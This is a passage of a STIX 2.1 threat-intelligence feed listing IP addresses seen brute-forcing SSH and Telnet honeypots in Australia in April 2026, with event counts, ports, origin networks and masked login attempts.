      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 13. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NG. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED.",
      "id": "indicator--a47cc93c-c46d-494a-ac4f-92c1e8785323",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T19:15:48.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '165.154.11.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T19:15:48.000Z",
      "valid_until": "2026-05-25T19:15:08.000Z"
    },
    {
      "created": "2026-04-23T19:15:48.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22, 443. Source country: DE. ASN(s): 60729. Organisation(s): Stiftung Erneuerbare Freiheit.",
      "id": "indicator--4014f63b-b1e2-4fb3-9470-b880f37c0442",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T19:15:48.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '185.220.101.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T19:15:48.000Z",
      "valid_until": "2026-05-25T19:15:08.000Z"
    },
    {
      "created": "2026-04-23T19:15:48.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22, 443. Source country: NL. ASN(s): 215125. Organisation(s): Church of Cyberology.",
      "id": "indicator--54bc2da7-0e3e-4213-aaca-211422fd6ae0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T19:15:48.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T19:15:48.000Z",
      "valid_until": "2026-05-25T19:15:08.000Z"
    },
    {
      "created": "2026-04-23T19:15:48.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28644. Organisation(s): Brasilsite Telecomunicacoes Ltda..",
      "id": "indicator--bb5db3d1-45a4-421b-90db-745042f78f97",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T19:15:48.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '201.55.92.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T19:15:48.000Z",
      "valid_until": "2026-05-25T19:15:08.000Z"
    },
    {
      "created": "2026-04-23T19:15:48.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CH. ASN(s): 402253. Organisation(s): SKN Subnet & Telecom Ltd.",
      "id": "indicator--32d8ad54-87a9-4921-89c7-0ee2aa59fb41",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T19:15:48.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '209.99.188.140']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T19:15:48.000Z",
      "valid_until": "2026-05-25T19:15:08.000Z"
    },
    {
      "created": "2026-04-23T19:15:48.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--1d05c515-92ce-4993-acd1-dce99138c838",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T19:15:48.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '68.183.80.181']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T19:15:48.000Z",
      "valid_until": "2026-05-25T19:15:08.000Z"
    },
    {
      "created": "2026-04-23T19:15:48.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 2527. Organisation(s): Sony Network Communications Inc..",
      "id": "indicator--1f1629c7-3f0d-4464-9eed-8f744b5c9d2c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T19:15:48.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '92.203.123.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T19:15:48.000Z",
      "valid_until": "2026-05-25T19:15:08.000Z"
    },
    {
      "created": "2026-04-23T20:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 34. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--404d9975-3499-4aba-b4eb-bb4dddb92fe8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '144.48.135.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T20:15:05.000Z",
      "valid_until": "2026-05-25T20:15:03.000Z"
    },
    {
      "created": "2026-04-23T20:15:05.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie, Fatt. Target ports: 22, 23. Source country: SC. ASN(s): 49870. Organisation(s): Alsycon B.V.. Usernames observed (masked): s**n. Passwords observed (masked): .",
      "id": "indicator--129d9da4-2b5b-445a-966e-9646f930cd0f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '160.119.76.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T20:15:05.000Z",
      "valid_until": "2026-05-25T20:15:03.000Z"
    },
    {
      "created": "2026-04-23T20:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--d7a9fa4c-a302-4f1f-94c6-8ccb4d33a6b2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T20:15:05.000Z",
      "valid_until": "2026-05-25T20:15:03.000Z"
    },
    {
      "created": "2026-04-23T20:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--2c241a12-956e-455a-810b-134cd0e9fc81",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T20:15:05.000Z",
      "valid_until": "2026-05-25T20:15:03.000Z"
    },
    {
      "created": "2026-04-23T20:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--31950fdd-47c7-4e71-899e-a7ac8c0f035d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T20:15:05.000Z",
      "valid_until": "2026-05-25T20:15:03.000Z"
    },
    {
      "created": "2026-04-23T20:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 30722. Organisation(s): Fastweb.",
      "id": "indicator--cbee3e4b-255a-40bd-857d-8f1218da3f43",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '91.80.180.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T20:15:05.000Z",
      "valid_until": "2026-05-25T20:15:03.000Z"
    },
    {
      "created": "2026-04-23T21:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--86a3f4e3-9a87-440b-ac5e-554685395f43",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T21:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '122.97.214.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T21:15:05.000Z",
      "valid_until": "2026-05-25T21:15:03.000Z"
    },
    {
      "created": "2026-04-23T21:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 262387. Organisation(s): Intermicro Ltda. Usernames observed (masked): r**t, a***n, e************). Passwords observed (masked):  ***t, a***n, e************), r**t.",
      "id": "indicator--e60188cc-caee-4f86-8b4c-933cebcc1aec",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T21:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '168.121.43.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T21:15:05.000Z",
      "valid_until": "2026-05-25T21:15:03.000Z"
    },
    {
      "created": "2026-04-23T21:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 56046. Organisation(s): China Mobile communications corporation.",
      "id": "indicator--0c544339-7a3e-4678-b3ff-782463cf0439",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T21:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '183.212.244.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T21:15:05.000Z",
      "valid_until": "2026-05-25T21:15:03.000Z"
    },
    {
      "created": "2026-04-23T21:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 190. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KE. ASN(s): 37061. Organisation(s): Safaricom. Usernames observed (masked): r**t, t******r, 3**********4, a***e, ***. Passwords observed (masked): ***, 1***5, 1******t, 3***********4, 3**********4.",
      "id": "indicator--0f66d807-1840-4fda-9e39-7c96de2251e8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T21:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '197.248.207.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T21:15:05.000Z",
      "valid_until": "2026-05-25T21:15:03.000Z"
    },
    {
      "created": "2026-04-23T21:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--326edc80-fb0f-4405-9f55-f08fc011bfdd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T21:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '20.118.248.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T21:15:05.000Z",
      "valid_until": "2026-05-25T21:15:03.000Z"
    },
    {
      "created": "2026-04-23T22:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BD. ASN(s): 18109. Organisation(s): MAISHA NET. Usernames observed (masked): d******r. Passwords observed (masked): q****x.",
      "id": "indicator--87ba0f74-b99a-493a-ab45-89f4a82a1a8b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.86.198.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T22:15:11.000Z",
      "valid_until": "2026-05-25T22:15:08.000Z"
    },
    {
      "created": "2026-04-23T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 18126. Organisation(s): Chubu Telecommunications Company, Inc..",
      "id": "indicator--3ff9251a-a8b7-48e4-8df3-a8bb2b9eaabc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '113.155.53.96']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T22:15:11.000Z",
      "valid_until": "2026-05-25T22:15:08.000Z"
    },
    {
      "created": "2026-04-23T22:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--e16d8101-68c1-4149-8723-ca49effef5e4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T22:15:11.000Z",
      "valid_until": "2026-05-25T22:15:08.000Z"
    },
    {
      "created": "2026-04-23T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 263636. Organisation(s): CALLNET TELECOM.",
      "id": "indicator--51be9926-4faf-4331-8942-e0242febea12",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '177.200.124.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T22:15:11.000Z",
      "valid_until": "2026-05-25T22:15:08.000Z"
    },
    {
      "created": "2026-04-23T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--a3af8ef8-8794-4e32-bff3-1ee6b18861c9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '72.255.19.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T22:15:11.000Z",
      "valid_until": "2026-05-25T22:15:08.000Z"
    },
    {
      "created": "2026-04-23T23:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--ab68addc-332d-47d4-bd34-11dfdd1d6fea",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T23:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '157.0.0.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T23:15:05.000Z",
      "valid_until": "2026-05-25T23:15:03.000Z"
    },
    {
      "created": "2026-04-23T23:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 94. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: EE. ASN(s): 3249. Organisation(s): Telia Eesti AS. Usernames observed (masked): r**t, 3**********4, d****y, s***m. Passwords observed (masked): 3***********4, 3**********4, F*****2, S******!, n********0.",
      "id": "indicator--e1c3d0b6-1a46-42d3-868f-97d7dbed6d2b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T23:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '213.35.128.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T23:15:05.000Z",
      "valid_until": "2026-05-25T23:15:03.000Z"
    },
    {
      "created": "2026-04-23T23:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 38. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GP. ASN(s): 21351. Organisation(s): Canal + Telecom SAS. Usernames observed (masked): r**t. Passwords observed (masked): 1***5, 1****6, a***n, g***t, r**t.",
      "id": "indicator--7a7bdabc-c508-4185-8787-dc064cd5c376",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T23:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '5.187.97.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T23:15:05.000Z",
      "valid_until": "2026-05-25T23:15:03.000Z"
    },
    {
      "created": "2026-04-24T00:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 137. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TZ. ASN(s): 327819. Organisation(s): AZAM-MEDIA. Usernames observed (masked): u****u, r**t, 3**********4, a****y, ***. Passwords observed (masked): 1*******., 3***********4, 3**********4, B***8, C******2.",
      "id": "indicator--818c0b78-c19f-4107-8f4c-e856a415778a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '154.73.168.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T00:15:11.000Z",
      "valid_until": "2026-05-26T00:15:08.000Z"
    },
    {
      "created": "2026-04-24T00:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 3269. Organisation(s): TIM. Usernames observed (masked): a***n, r**t. Passwords observed (masked): 1**1, 5***1, i**********0, p**s, r*****k.",
      "id": "indicator--4566ab69-33c1-480d-8a7a-b7395dfcc509",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '188.12.100.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T00:15:11.000Z",
      "valid_until": "2026-05-26T00:15:08.000Z"
    },
    {
      "created": "2026-04-24T00:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PT. ASN(s): 211680. Organisation(s): Sistemas Informaticos, S.A..",
      "id": "indicator--52638d6d-aecf-44c9-b9aa-60aecc3e64c4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.156.128.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T00:15:11.000Z",
      "valid_until": "2026-05-26T00:15:08.000Z"
    },
    {
      "created": "2026-04-24T01:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--92050659-a139-49fa-9b30-10cc8e594d9f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T01:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '100.27.226.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T01:15:12.000Z",
      "valid_until": "2026-05-26T01:15:08.000Z"
    },
    {
      "created": "2026-04-24T01:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--a96fbf58-af78-464f-b629-8636a8c2a72d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T01:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T01:15:12.000Z",
      "valid_until": "2026-05-26T01:15:08.000Z"
    },
    {
      "created": "2026-04-24T02:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 141679. Organisation(s): China Telecom Beijing Tianjin Hebei Big Data Industry Park Branch. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--c2b4bd56-a475-4ec4-890c-91b364530322",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T02:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '117.72.44.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T02:15:11.000Z",
      "valid_until": "2026-05-26T02:15:08.000Z"
    },
    {
      "created": "2026-04-24T02:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--7b021fe4-cd04-428b-93f9-b689cb0a2c0a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T02:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '124.29.194.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T02:15:11.000Z",
      "valid_until": "2026-05-26T02:15:08.000Z"
    },
    {
      "created": "2026-04-24T02:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: BR. ASN(s): 28309. Organisation(s): WGO MULTIMIDIA LTDA.",
      "id": "indicator--cc37163c-fd8f-4a10-9e7b-57dcafbcc236",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T02:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '179.189.0.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T02:15:11.000Z",
      "valid_until": "2026-05-26T02:15:08.000Z"
    },
    {
      "created": "2026-04-24T02:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 263545. Organisation(s): BETINI NET TELECOM LTDA.",
      "id": "indicator--7864fcac-465e-4a7b-b00e-b1738b630907",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T02:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '191.6.0.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T02:15:11.000Z",
      "valid_until": "2026-05-26T02:15:08.000Z"
    },
    {
      "created": "2026-04-24T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 9762. Organisation(s): kt HCN Co.,Ltd..",
      "id": "indicator--7c3c8189-eba2-4f81-a7a0-e9e9acf77373",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '211.47.126.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
